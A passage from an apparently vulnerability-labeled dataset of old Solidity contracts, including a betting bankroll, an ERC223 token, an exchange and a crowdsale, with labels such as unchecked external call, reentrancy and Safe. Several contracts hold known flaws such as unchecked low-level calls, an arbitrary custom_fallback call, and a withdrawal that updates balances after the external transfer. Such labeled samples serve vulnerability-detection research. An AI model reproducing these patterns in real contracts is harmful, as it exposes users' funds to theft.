msg.sender; } //SECTION I: MODIFIERS AND HELPER FUNCTIONS //MODIFIERS modifier onlyIfNotStopped { if (isStopped) throw; _; } modifier onlyIfStopped { if (!isStopped) throw; _; } modifier onlyInvestors { if (investorIDs[msg.sender] == 0) throw; _; } modifier onlyNotInvestors { if (investorIDs[msg.sender] != 0) throw; _; } modifier onlyOwner { if (owner != msg.sender) throw; _; } modifier onlyOraclize { if (msg.sender != oraclize_cbAddress()) throw; _; } modifier onlyMoreThanMinInvestment { if (msg.value <= getMinInvestment()) throw; _; } modifier onlyMoreThanZero { if (msg.value == 0) throw; _; } modifier onlyIfBetExist(bytes32 myid) { if(bets[myid].playerAddress == address(0x0)) throw; _; } modifier onlyIfBetSizeIsStillCorrect(bytes32 myid) { if ((((bets[myid].amountBet * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000) && (bets[myid].amountBet >= minBet)) { _; } else { bets[myid].numberRolled = INVALID_BET_MARKER; safeSend(bets[myid].playerAddress, bets[myid].amountBet); return; } } modifier onlyIfValidRoll(bytes32 myid, string result) { uint numberRolled = parseInt(result); if ((numberRolled < 1 || numberRolled > 10000) && bets[myid].numberRolled == 0) { bets[myid].numberRolled = INVALID_BET_MARKER; safeSend(bets[myid].playerAddress, bets[myid].amountBet); return; } _; } modifier onlyWinningBets(uint numberRolled) { if (numberRolled - 1 < pwin) { _; } } modifier onlyLosingBets(uint numberRolled) { if (numberRolled - 1 >= pwin) { _; } } modifier onlyAfterProposed { if (proposedWithdrawal.toAddress == 0) throw; _; } modifier onlyIfProfitNotDistributed { if (!profitDistributed) { _; } } modifier onlyIfValidGas(uint newGasLimit) { if (ORACLIZE_GAS_LIMIT + newGasLimit < ORACLIZE_GAS_LIMIT) throw; if (newGasLimit < 25000) throw; _; } modifier onlyIfNotProcessed(bytes32 myid) { if (bets[myid].numberRolled > 0) throw; _; } modifier onlyIfEmergencyTimeOutHasPassed { if (proposedWithdrawal.atTime + EMERGENCY_TIMEOUT > now) throw; _; } modifier investorsInvariant { _; if (numInvestors > maxInvestors) throw; } //CONSTANT HELPER FUNCTIONS function getBankroll() constant returns(uint) { if ((invested < investorsProfit) || (invested + investorsProfit < invested) || (invested + investorsProfit < investorsLosses)) { return 0; } else { return invested + investorsProfit - investorsLosses; } } function getMinInvestment() constant returns(uint) { if (numInvestors == maxInvestors) { uint investorID = searchSmallestInvestor(); return getBalance(investors[investorID].investorAddress); } else { return 0; } } function getStatus() constant returns(uint, uint, uint, uint, uint, uint, uint, uint) { uint bankroll = getBankroll(); uint minInvestment = getMinInvestment(); return (bankroll, pwin, edge, maxWin, minBet, (investorsProfit - investorsLosses), minInvestment, betsKeys.length); } function getBet(uint id) constant returns(address, uint, uint) { if (id < betsKeys.length) { bytes32 betKey = betsKeys[id]; return (bets[betKey].playerAddress, bets[betKey].amountBet, bets[betKey].numberRolled); } } function numBets() constant returns(uint) { return betsKeys.length; } function getMinBetAmount() constant returns(uint) { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); return oraclizeFee + minBet; } function getMaxBetAmount() constant returns(uint) { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); uint betValue = (maxWin * getBankroll()) * pwin / (10000 * (10000 - edge - pwin)); return betValue + oraclizeFee; } function getLossesShare(address currentInvestor) constant returns (uint) { return investors[investorIDs[currentInvestor]].amountInvested * (investorsLosses) / invested; } function getProfitShare(address currentInvestor) constant returns (uint) { return investors[investorIDs[currentInvestor]].amountInvested * (investorsProfit) / invested; } function getBalance(address currentInvestor) constant returns (uint) { uint invested = investors[investorIDs[currentInvestor]].amountInvested; uint profit = getProfitShare(currentInvestor); uint losses = getLossesShare(currentInvestor); if ((invested + profit < profit) || (invested + profit < invested) || (invested + profit < losses)) return 0; else return invested + profit - losses; } function searchSmallestInvestor() constant returns(uint) { uint investorID = 1; for (uint i = 1; i <= numInvestors; i++) { if (getBalance(investors[i].investorAddress) < getBalance(investors[investorID].investorAddress)) { investorID = i; } } return investorID; } function changeOraclizeProofType(byte _proofType) onlyOwner { if (_proofType == 0x00) throw; oraclize_setProof( _proofType | proofStorage_IPFS ); } function changeOraclizeConfig(bytes32 _config) onlyOwner { oraclize_setConfig(_config); } // PRIVATE HELPERS FUNCTION function safeSend(address addr, uint value) private { if (value == 0) { LOG_ZeroSend(); return; } if (this.balance < value) { LOG_ValueIsTooBig(); return; } if (!(addr.call.gas(safeGas).value(value)())) { LOG_FailedSend(addr, value); if (addr != houseAddress) { //Forward to house address all change if (!(houseAddress.call.gas(safeGas).value(value)())) LOG_FailedSend(houseAddress, value); } } LOG_SuccessfulSend(addr,value); } function addInvestorAtID(uint id) private { investorIDs[msg.sender] = id; investors[id].investorAddress = msg.sender; investors[id].amountInvested = msg.value; invested += msg.value; LOG_InvestorEntrance(msg.sender, msg.value); } function profitDistribution() private onlyIfProfitNotDistributed { uint copyInvested; for (uint i = 1; i <= numInvestors; i++) { address currentInvestor = investors[i].investorAddress; uint profitOfInvestor = getProfitShare(currentInvestor); uint lossesOfInvestor = getLossesShare(currentInvestor); //Check for overflow and underflow if ((investors[i].amountInvested + profitOfInvestor >= investors[i].amountInvested) && (investors[i].amountInvested + profitOfInvestor >= lossesOfInvestor)) { investors[i].amountInvested += profitOfInvestor - lossesOfInvestor; LOG_InvestorCapitalUpdate(currentInvestor, (int) (profitOfInvestor - lossesOfInvestor)); } else { isStopped = true; LOG_EmergencyAutoStop(); } if (copyInvested + investors[i].amountInvested >= copyInvested) copyInvested += investors[i].amountInvested; } delete investorsProfit; delete investorsLosses; invested = copyInvested; profitDistributed = true; } // SECTION II: BET & BET PROCESSING function() payable { bet(); } function bet() payable onlyIfNotStopped { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); if (oraclizeFee >= msg.value) throw; uint betValue = msg.value - oraclizeFee; if ((((betValue * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000) && (betValue >= minBet)) { LOG_NewBet(msg.sender, betValue); bytes32 myid = oraclize_query( ""nested"", ""[URL] ['json(https://api.random.org/json-rpc/1/invoke).result.random.data.0', '\\n{\""jsonrpc\"":\""2.0\"",\""method\"":\""generateSignedIntegers\"",\""params\"":{\""apiKey\"":${[decrypt] BIlfJJGQK2s7UHHq724TSPREyh82wYpUdtpgOqETVA+Ddj7yA/ajRRe3Dx4ch8ZdnMry6212YZEfmjLW2YvjRhT1MO4amO/5g82xwny90QLDOSTinVYJVK9vb85gv1Dv7PKWbfmVdoqAO9QfzS7KFA47bnr7Adg=},\""n\"":1,\""min\"":1,\""max\"":10000${[identity] \""}\""},\""id\"":1${[identity] \""}\""}']"", ORACLIZE_GAS_LIMIT + safeGas ); bets[myid] = Bet(msg.sender, betValue, 0); betsKeys.push(myid); } else { throw; } } function __callback(bytes32 myid, string result, bytes proof) onlyOraclize onlyIfBetExist(myid) onlyIfNotProcessed(myid) onlyIfValidRoll(myid, result) onlyIfBetSizeIsStillCorrect(myid) { uint numberRolled = parseInt(result); bets[myid].numberRolled = numberRolled; isWinningBet(bets[myid], numberRolled); isLosingBet(bets[myid], numberRolled); delete profitDistributed; } function isWinningBet(Bet thisBet, uint numberRolled) private onlyWinningBets(numberRolled) { uint winAmount = (thisBet.amountBet * (10000 - edge)) / pwin; LOG_BetWon(thisBet.playerAddress, numberRolled, winAmount); safeSend(thisBet.playerAddress, winAmount); //Check for overflow and underflow if ((investorsLosses + winAmount < investorsLosses) || (investorsLosses + winAmount < thisBet.amountBet)) { throw; } investorsLosses += winAmount - thisBet.amountBet; } function isLosingBet(Bet thisBet, uint numberRolled) private onlyLosingBets(numberRolled) { LOG_BetLost(thisBet.playerAddress, numberRolled); safeSend(thisBet.playerAddress, 1); //Check for overflow and underflow if ((investorsProfit + thisBet.amountBet < investorsProfit) || (investorsProfit + thisBet.amountBet < thisBet.amountBet) || (thisBet.amountBet == 1)) { throw; } uint totalProfit = investorsProfit + (thisBet.amountBet - 1); //added based on audit feedback investorsProfit += (thisBet.amountBet - 1)*(10000 - houseEdge)/10000; uint houseProfit = totalProfit - investorsProfit; //changed based on audit feedback safeSend(houseAddress, houseProfit); } //SECTION III: INVEST & DIVEST function increaseInvestment() payable onlyIfNotStopped onlyMoreThanZero onlyInvestors { profitDistribution(); investors[investorIDs[msg.sender]].amountInvested += msg.value; invested += msg.value; } function newInvestor() payable onlyIfNotStopped onlyMoreThanZero onlyNotInvestors onlyMoreThanMinInvestment investorsInvariant { profitDistribution(); if (numInvestors == maxInvestors) { uint smallestInvestorID = searchSmallestInvestor(); divest(investors[smallestInvestorID].investorAddress); } numInvestors++; addInvestorAtID(numInvestors); } function divest() onlyInvestors { divest(msg.sender); } function divest(address currentInvestor) private investorsInvariant { profitDistribution(); uint currentID = investorIDs[currentInvestor]; uint amountToReturn = getBalance(currentInvestor); if ((invested >= investors[currentID].amountInvested)) { invested -= investors[currentID].amountInvested; uint divestFeeAmount = (amountToReturn*divestFee)/10000; amountToReturn -= divestFeeAmount; delete investors[currentID]; delete investorIDs[currentInvestor]; //Reorder investors if (currentID != numInvestors) { // Get last investor Investor lastInvestor = investors[numInvestors]; //Set last investor ID to investorID of divesting account investorIDs[lastInvestor.investorAddress] = currentID; //Copy investor at the new position in the mapping investors[currentID] = lastInvestor; //Delete old position in the mappping delete investors[numInvestors]; } numInvestors--; safeSend(currentInvestor, amountToReturn); safeSend(houseAddress, divestFeeAmount); LOG_InvestorExit(currentInvestor, amountToReturn); } else { isStopped = true; LOG_EmergencyAutoStop(); } } function forceDivestOfAllInvestors() onlyOwner { uint copyNumInvestors = numInvestors; for (uint i = 1; i <= copyNumInvestors; i++) { divest(investors[1].investorAddress); } } /* The owner can use this function to force the exit of an investor from the contract during an emergency withdrawal in the following situations: - Unresponsive investor - Investor demanding to be paid in other to vote, the facto-blackmailing other investors */ function forceDivestOfOneInvestor(address currentInvestor) onlyOwner onlyIfStopped { divest(currentInvestor); //Resets emergency withdrawal proposal. Investors must vote again delete proposedWithdrawal; } //SECTION IV: CONTRACT MANAGEMENT function stopContract() onlyOwner { isStopped = true; LOG_ContractStopped(); } function resumeContract() onlyOwner { isStopped = false; LOG_ContractResumed(); } function changeHouseAddress(address newHouse) onlyOwner { if (newHouse == address(0x0)) throw; //changed based on audit feedback houseAddress = newHouse; LOG_HouseAddressChanged(houseAddress, newHouse); } function changeOwnerAddress(address newOwner) onlyOwner { if (newOwner == address(0x0)) throw; owner = newOwner; LOG_OwnerAddressChanged(owner, newOwner); } function changeGasLimitOfSafeSend(uint newGasLimit) onlyOwner onlyIfValidGas(newGasLimit) { safeGas = newGasLimit; LOG_GasLimitChanged(safeGas, newGasLimit); } //SECTION V: EMERGENCY WITHDRAWAL function voteEmergencyWithdrawal(bool vote) onlyInvestors onlyAfterProposed onlyIfStopped { investors[investorIDs[msg.sender]].votedForEmergencyWithdrawal = vote; LOG_EmergencyWithdrawalVote(msg.sender, vote); } function proposeEmergencyWithdrawal(address withdrawalAddress) onlyIfStopped onlyOwner { //Resets previous votes for (uint i = 1; i <= numInvestors; i++) { delete investors[i].votedForEmergencyWithdrawal; } proposedWithdrawal = WithdrawalProposal(withdrawalAddress, now); LOG_EmergencyWithdrawalProposed(); } function executeEmergencyWithdrawal() onlyOwner onlyAfterProposed onlyIfStopped onlyIfEmergencyTimeOutHasPassed { uint numOfVotesInFavour; uint amountToWithdraw = this.balance; for (uint i = 1; i <= numInvestors; i++) { if (investors[i].votedForEmergencyWithdrawal == true) { numOfVotesInFavour++; delete investors[i].votedForEmergencyWithdrawal; } } if (numOfVotesInFavour >= emergencyWithdrawalRatio * numInvestors / 100) { if (!proposedWithdrawal.toAddress.send(amountToWithdraw)) { LOG_EmergencyWithdrawalFailed(proposedWithdrawal.toAddress); } else { LOG_EmergencyWithdrawalSucceeded(proposedWithdrawal.toAddress, amountToWithdraw); } } else { throw; } } }",./Dataset/unchecked external call (UC),7,7 33212.sol,"pragma solidity ^0.4.18; // https://www.ethereum.org/token interface tokenRecipient { function receiveApproval( address from, uint256 value, bytes data ) public; } // ERC223 interface ContractReceiver { function tokenFallback( address from, uint value, bytes data ) public; } // ERC20 token with added ERC223 and Ethereum-Token support // // Blend of multiple interfaces: // - https://theethereum.wiki/w/index.php/ERC20_Token_Standard // - https://www.ethereum.org/token (uncontrolled, non-standard) // - https://github.com/Dexaran/ERC23-tokens/blob/Recommended/ERC223_Token.sol contract ERC223Token { string public name; // ERC20 string public symbol; // ERC20 uint8 public decimals; // ERC20 uint256 public totalSupply; // ERC20 mapping( address => uint256 ) balances_; mapping( address => mapping(address => uint256) ) allowances_; // ERC20 event Approval( address indexed owner, address indexed spender, uint value ); // ERC223, ERC20-compatible event Transfer( address indexed from, address indexed to, uint256 value, bytes data ); // Ethereum Token event Burn( address indexed from, uint256 value ); function ERC223Token( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) public { balances_[msg.sender] = initialSupply; totalSupply = initialSupply; name = tokenName; decimals = decimalUnits; symbol = tokenSymbol; } function() public payable { revert(); } // does not accept money // ERC20 function balanceOf( address owner ) public constant returns (uint) { return balances_[owner]; } // ERC20 function approve( address spender, uint256 value ) public returns (bool success) { allowances_[msg.sender][spender] = value; Approval( msg.sender, spender, value ); return true; } // ERC20 function allowance( address owner, address spender ) public constant returns (uint256 remaining) { return allowances_[owner][spender]; } // ERC20 function transfer(address to, uint256 value) public { bytes memory empty; // null _transfer( msg.sender, to, value, empty ); } // ERC20 function transferFrom( address from, address to, uint256 value ) public returns (bool success) { require( value <= allowances_[from][msg.sender] ); allowances_[from][msg.sender] -= value; bytes memory empty; _transfer( from, to, value, empty ); return true; } // Ethereum Token function approveAndCall( address spender, uint256 value, bytes context ) public returns (bool success) { if ( approve(spender, value) ) { tokenRecipient recip = tokenRecipient( spender ); recip.receiveApproval( msg.sender, value, context ); return true; } return false; } // Ethereum Token function burn( uint256 value ) public returns (bool success) { require( balances_[msg.sender] >= value ); balances_[msg.sender] -= value; totalSupply -= value; Burn( msg.sender, value ); return true; } // Ethereum Token function burnFrom( address from, uint256 value ) public returns (bool success) { require( balances_[from] >= value ); require( value <= allowances_[from][msg.sender] ); balances_[from] -= value; allowances_[from][msg.sender] -= value; totalSupply -= value; Burn( from, value ); return true; } // ERC223 Transfer and invoke specified callback function transfer( address to, uint value, bytes data, string custom_fallback ) public returns (bool success) { _transfer( msg.sender, to, value, data ); if ( isContract(to) ) { ContractReceiver rx = ContractReceiver( to ); require( rx.call.value(0)(bytes4(keccak256(custom_fallback)), msg.sender, value, data) ); } return true; } // ERC223 Transfer to a contract or externally-owned account function transfer( address to, uint value, bytes data ) public returns (bool success) { if (isContract(to)) { return transferToContract( to, value, data ); } _transfer( msg.sender, to, value, data ); return true; } // ERC223 Transfer to contract and invoke tokenFallback() method function transferToContract( address to, uint value, bytes data ) private returns (bool success) { _transfer( msg.sender, to, value, data ); ContractReceiver rx = ContractReceiver(to); rx.tokenFallback( msg.sender, value, data ); return true; } // ERC223 fetch contract size (must be nonzero to be a contract) function isContract( address _addr ) private constant returns (bool) { uint length; assembly { length := extcodesize(_addr) } return (length > 0); } function _transfer( address from, address to, uint value, bytes data ) internal { require( to != 0x0 ); require( balances_[from] >= value ); require( balances_[to] + value > balances_[to] ); // catch overflow balances_[from] -= value; balances_[to] += value; Transfer( from, to, value, data ); } }",./Dataset/reentrancy (RE)/,5,5 0x02992370df72da5b039c3a6249beb27c487e63cb_Exchange.sol,"pragma solidity ^0.4.23; contract Admin { address public admin; address public feeAccount; // address feeAccount, which will receive fee. address public nextVersionAddress; // this is next address exchange bool public orderEnd; // this is var use when Admin want close exchange string public version; // number version example 1.0, test_1.0 uint public feeTake; //percentage times (1 ether) bool public pause; modifier assertAdmin() { if ( msg.sender != admin ) { revert(); } _; } /* * This is function, is needed to change address admin. */ function setAdmin( address _admin ) assertAdmin public { admin = _admin; } function setPause (bool state) assertAdmin public { pause = state; } /* * This is function, is needed to change version smart-contract. */ function setVersion(string _version) assertAdmin public { version = _version; } /* * This is function, is needed to set address, next smart-contracts. */ function setNextVersionAddress(address _nextVersionAddress) assertAdmin public{ nextVersionAddress = _nextVersionAddress; } /* * This is function, is needed to stop, news orders. * Can not turn off it. */ function setOrderEnd() assertAdmin public { orderEnd = true; } /* * This is function, is needed to change address feeAccount. */ function setFeeAccount( address _feeAccount ) assertAdmin public { feeAccount = _feeAccount; } /* * This is function, is needed to set new fee. * Can only be changed down. */ function setFeeTake( uint _feeTake ) assertAdmin public { feeTake = _feeTake; } } contract SafeMath { function safeMul( uint a, uint b ) pure internal returns ( uint ) { uint c; c = a * b; assert( a == 0 || c / a == b ); return c; } function safeSub( uint a, uint b ) pure internal returns ( uint ) { assert( b <= a ); return a - b; } function safeAdd( uint a, uint b ) pure internal returns ( uint ) { uint c; c = a + b; assert( c >= a && c >= b ); return c; } } /* * Interface ERC20 */ contract Token { function transfer( address _to, uint256 _value ) public returns ( bool success ); function transferFrom( address _from, address _to, uint256 _value ) public returns ( bool success ); event Transfer( address indexed _from, address indexed _to, uint256 _value ); } contract Exchange is SafeMath, Admin { mapping( address => mapping( address => uint )) public tokens; mapping( address => mapping( bytes32 => bool )) public orders; mapping( bytes32 => mapping( address => uint )) public ordersBalance; event Deposit( address token, address user, uint amount, uint balance ); event Withdraw( address token, address user, uint amount, uint balance ); event Order( address user, address tokenTake, uint amountTake, address tokenMake, uint amountMake, uint nonce ); event OrderCancel( address user, address tokenTake, uint amountTake, address tokenMake, uint amountMake, uint nonce ); event Trade( address makeAddress, address tokenMake, uint amountGiveMake, address takeAddress, address tokenTake, uint quantityTake, uint feeTakeXfer, uint balanceOrder ); event HashOutput(bytes32 hash); constructor( address _admin, address _feeAccount, uint _feeTake, string _version) public { admin = _admin; feeAccount = _feeAccount; feeTake = _feeTake; orderEnd = false; version = _version; pause = false; } function depositEth() payable public { assertQuantity( msg.value ); tokens[0][msg.sender] = safeAdd( tokens[0][msg.sender], msg.value ); emit Deposit( 0, msg.sender, msg.value, tokens[0][msg.sender] ); } function withdrawEth( uint amount ) public { assertQuantity( amount ); tokens[0][msg.sender] = safeSub( tokens[0][msg.sender], amount ); msg.sender.transfer( amount ); emit Withdraw( 0, msg.sender, amount, tokens[0][msg.sender] ); } function depositToken( address token, uint amount ) public { assertToken( token ); assertQuantity( amount ); tokens[token][msg.sender] = safeAdd( tokens[token][msg.sender], amount ); if ( Token( token ).transferFrom( msg.sender, this, amount ) == false ) { revert(); } emit Deposit( token, msg.sender, amount , tokens[token][msg.sender] ); } function withdrawToken( address token, uint amount ) public { assertToken( token ); assertQuantity( amount ); if ( Token( token ).transfer( msg.sender, amount ) == false ) { revert(); } tokens[token][msg.sender] = safeSub( tokens[token][msg.sender], amount ); // уязвимость двойного входа? emit Withdraw( token, msg.sender, amount, tokens[token][msg.sender] ); } function order( address tokenTake, uint amountTake, address tokenMake, uint amountMake, uint nonce ) public { bytes32 hash; assertQuantity( amountTake ); assertQuantity( amountMake ); assertCompareBalance( amountMake, tokens[tokenMake][msg.sender] ); if ( orderEnd == true ) revert(); hash = keccak256( this, tokenTake, tokenMake, amountTake, amountMake, nonce ); orders[msg.sender][hash] = true; tokens[tokenMake][msg.sender] = safeSub( tokens[tokenMake][msg.sender], amountMake ); ordersBalance[hash][msg.sender] = amountMake; emit HashOutput(hash); emit Order( msg.sender, tokenTake, amountTake, tokenMake, amountMake, nonce ); } function orderCancel( address tokenTake, uint amountTake, address tokenMake, uint amountMake, uint nonce ) public { bytes32 hash; assertQuantity( amountTake ); assertQuantity( amountMake ); hash = keccak256( this, tokenTake, tokenMake, amountTake, amountMake, nonce ); orders[msg.sender][hash] = false; tokens[tokenMake][msg.sender] = safeAdd( tokens[tokenMake][msg.sender], ordersBalance[hash][msg.sender]); ordersBalance[hash][msg.sender] = 0; emit OrderCancel( msg.sender, tokenTake, amountTake, tokenMake, amountMake, nonce ); } function trade( address tokenTake, address tokenMake, uint amountTake, uint amountMake, uint nonce, address makeAddress, uint quantityTake ) public { bytes32 hash; uint amountGiveMake; assertPause(); assertQuantity( quantityTake ); hash = keccak256( this, tokenTake, tokenMake, amountTake, amountMake, nonce ); assertOrders( makeAddress, hash ); amountGiveMake = safeMul( amountMake, quantityTake ) / amountTake; assertCompareBalance ( amountGiveMake, ordersBalance[hash][makeAddress] ); tradeBalances( tokenTake, tokenMake, amountTake, amountMake, makeAddress, quantityTake, hash); emit HashOutput(hash); } function tradeBalances( address tokenGet, address tokenGive, uint amountGet, uint amountGive, address user, uint amount, bytes32 hash) private { uint feeTakeXfer; uint amountGiveMake; feeTakeXfer = safeMul( amount, feeTake ) / ( 1 ether ); amountGiveMake = safeMul( amountGive, amount ) / amountGet; tokens[tokenGet][msg.sender] = safeSub( tokens[tokenGet][msg.sender], safeAdd( amount, feeTakeXfer ) ); tokens[tokenGet][user] = safeAdd( tokens[tokenGet][user], amount ); tokens[tokenGet][feeAccount] = safeAdd( tokens[tokenGet][feeAccount], feeTakeXfer ); ordersBalance[hash][user] = safeSub( ordersBalance[hash][user], safeMul( amountGive, amount ) / amountGet ); tokens[tokenGive][msg.sender] = safeAdd( tokens[tokenGive][msg.sender], safeMul( amountGive, amount ) / amountGet ); emit Trade( user, tokenGive, amountGiveMake, msg.sender, tokenGet, amount, feeTakeXfer, ordersBalance[hash][user] ); emit HashOutput(hash); } function assertQuantity( uint amount ) pure private { if ( amount == 0 ) { revert(); } } function assertPause() view private { if ( pause == true ) { revert(); } } function assertToken( address token ) pure private { if ( token == 0 ) { revert(); } } function assertOrders( address makeAddress, bytes32 hash ) view private { if ( orders[makeAddress][hash] == false ) { revert(); } } function assertCompareBalance( uint a, uint b ) pure private { if ( a > b ) { revert(); } } }",Safe,8,8 2797.sol,"pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract OwnableToken { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function OwnableToken() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract BurnableToken is BasicToken, OwnableToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public onlyOwner { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract gsToken is OwnableToken, BurnableToken, StandardToken { string public name; string public symbol; uint8 public decimals; bool public paused = true; mapping(address => bool) public whitelist; modifier whenNotPaused() { require(!paused || whitelist[msg.sender]); _; } constructor(string _name,string _symbol,uint8 _decimals, address holder, address buffer) public { name = _name; symbol = _symbol; decimals = _decimals; Transfer(address(0), holder, balances[holder] = totalSupply_ = uint256(10)**(9 + decimals)); addToWhitelist(holder); addToWhitelist(buffer); } function unpause() public onlyOwner { paused = false; } function pause() public onlyOwner { paused = true; } function addToWhitelist(address addr) public onlyOwner { whitelist[addr] = true; } function removeFromWhitelist(address addr) public onlyOwner { whitelist[addr] = false; } function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } } contract Crowdsale { using SafeMath for uint256; ERC20 public token; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); rate = _rate; wallet = _wallet; token = _token; } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { } function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } function _forwardFunds() internal { wallet.transfer(msg.value); } } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } function capReached() public view returns (bool) { return weiRaised >= cap; } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(weiRaised.add(_weiAmount) <= cap); } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } constructor(uint256 _openingTime, uint256 _closingTime) public { openingTime = _openingTime; closingTime = _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } contract FinalizableCrowdsale is TimedCrowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } function finalization() internal { } } contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); constructor(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; emit Closed(); wallet.transfer(address(this).balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); emit Refunded(investor, depositedValue); } } contract RefundableCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; uint256 public goal; RefundVault public vault; constructor(uint256 _goal) public { require(_goal > 0); vault = new RefundVault(wallet); goal = _goal; } function claimRefund() public { require(isFinalized); require(!goalReached()); vault.refund(msg.sender); } function goalReached() public view returns (bool) { return weiRaised >= goal; } function finalization() internal { if (goalReached()) { vault.close(); } 